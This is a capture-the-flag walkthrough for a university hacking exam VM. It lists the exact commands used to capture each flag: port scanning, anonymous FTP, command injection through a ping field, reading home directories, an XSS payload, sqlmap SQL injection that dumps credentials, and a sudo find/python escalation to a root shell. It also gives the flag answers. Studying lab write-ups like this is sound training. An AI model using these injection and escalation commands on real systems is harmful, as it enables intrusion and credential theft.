Konnexions-HackThisBox Exam 2020

__CTF-Walkthrough__ (8 Flags / 100pts)

We already get the IP from the CTF OS itself.
IP = 192.168.1.2

Now we Scan the IP using nmap for all ports and Aggressive Scan.
nmap -T4 -A -p- 192.168.1.2

```
Starting Nmap 7.80 ( https://nmap.org ) at 2021-02-03 12:51 IST
Nmap scan report for 192.168.1.2
Host is up (0.0012s latency).
Not shown: 65530 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x 1 ftp ftp 506 Jan 12 01:11 F_L_A_G_1.txt
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.1.3
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 600
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 3d:6e:86:1e:5d:69:7e:8f:ae:79:90:78:f3:33:45:95 (RSA)
| 256 5e:cf:ad:35:b6:60:ff:b7:24:64:fc:f1:2f:18:b8:63 (ECDSA)
|_ 256 d8:b2:a8:21:7e:82:26:ca:69:7f:af:3f:ef:be:74:50 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/blog/*
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Konnexions 2020
50001/tcp open unknown
| fingerprint-strings:
| GenericLines, GetRequest, NULL, ibm-db2:
| Open up your skies
| Turn up your night
| speed of life
| Turn up your night
| your love in lights
| Turn up your night
```

| will find you
| ##############################
| Found a hidden webpage yet?
| "5**pr**3.php"
| Hint - SourceCode
| ##############################
| Even if you found it.. There's more to this than meets the eye!
|_ Happy hunting ;)
63336/tcp open unknown
| fingerprint-strings:
| GenericLines, GetRequest, HTTPOptions, NULL, RTSPRequest:
| Deep in the dark
| don't need the light
| There's a ghost inside me
| belongs to the other side
| live, we love, we lie
| Find the hidden "s3cr3tFl4g.txt" for Walker#000 and Escape your Reality!
| Hint - use "2>>/dev/null" along with the search command
|_ avoid displaying permission errors.
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Insecure FTP Server

We find that at port 21 FTP is running
Anonymous login
get F_L_A_G_1.txt
gives us **FLAG 1**!

Flag${h34d1n6_h0m3}$ - 5pts

Open webpage running at port 80

Command Execution/RCE
In source code of Hompage, we see the hint for http://192.168.1.2/5urpr1s3.php
The ping feature is vulnerable.
127.0.0.1; ls Gives **FLAG 2**!
cat is blocked here so use
; more W31rdst4r_Fl4G_5.txt

Flag${71r3d}$ - 10pts

Directory Traversal/Enumeration
; ls /home gives us two users
; ls /home/alanwalker and ;ls /home/dexter shows us two flags although dexter's flag is not accessible.
;strings /home/alanwalker/W31rdst4r_Fl4G_3.jpg **FLAG 3**!

Flag\${4l0n3}\$ - 10pts

Also we see that under robots.txt, /blog is disallowed.
So https://192.168.1.2/blog opens up a blog page. Login as GUEST

LFI

http://192.168.1.2/blog/view.php?id=2 is the url of the only post on that page.
So change id=1, gives us **FLAG 4**!

Flag\${4ll_f4ll5_d0wn}\$ - 10pts

XSS

Now, we see that the Blog entry is XSS vulnerable.
So enter <Script>alert(0)</Script> in the title field. Post it.
FLAG 5 !

Flag\${d14m0nd_h34r7}\$ - 10pts

SQL Injection

Now try sqlmap as SQL Injection seems possible.
We succeed from the post's url on 'id' using Burpsuite on this - http://192.168.1.2/blog/view.php?id=2
How to do it -> https://github.com/dexter-11/Konnexions-2020/tree/master/Day%206
We get a table with credentials. Hence dump it to get login for 'dexter'

dexter   aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1qWkddXa25oZzhrQQ==

ssh dexter@192.168.1.2 -p 22
login and get **FLAG 6**!

Flag\${0n_my_w4y}\$ - 10 pts

Hidden flag from hint at netcat broadast

find / -name s3cr3tFl4g.txt 2>>/dev/null
FLAG 7!

Flag\${d4rk51d3}\$ - 15pts

Now we need to get ROOT!!
We have a shell in the system.

Privilege Escalation - SUID bit misconfigured

Now we go for the step-by-step enumeration of the system according to the notes given (Session 10)

Using the command sudo –l

Matching Defaults entries for dexter on Dex-HacktheBox:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dexter may run the following commands on Dex-HacktheBox:

(root) NOPASSWD: /usr/bin/find, /bin/cat, /usr/bin/python, /usr/local/bin/nmap

We can see that DEXTER can run <u>find</u>, <u>python</u>, <u>cat</u>, and <u>nmap</u> as ROOT without password.

https://pentestlab.blog/category/privilege-escalation/

Find

```
touch test
find test -exec /bin/bash \;
```

Python

```
sudo python -c 'import pty;pty.spawn("/bin/bash");'
```

We have Root!!

FLAG 8!

Flag${51n6_m3_70_5l33p}$ - 30pts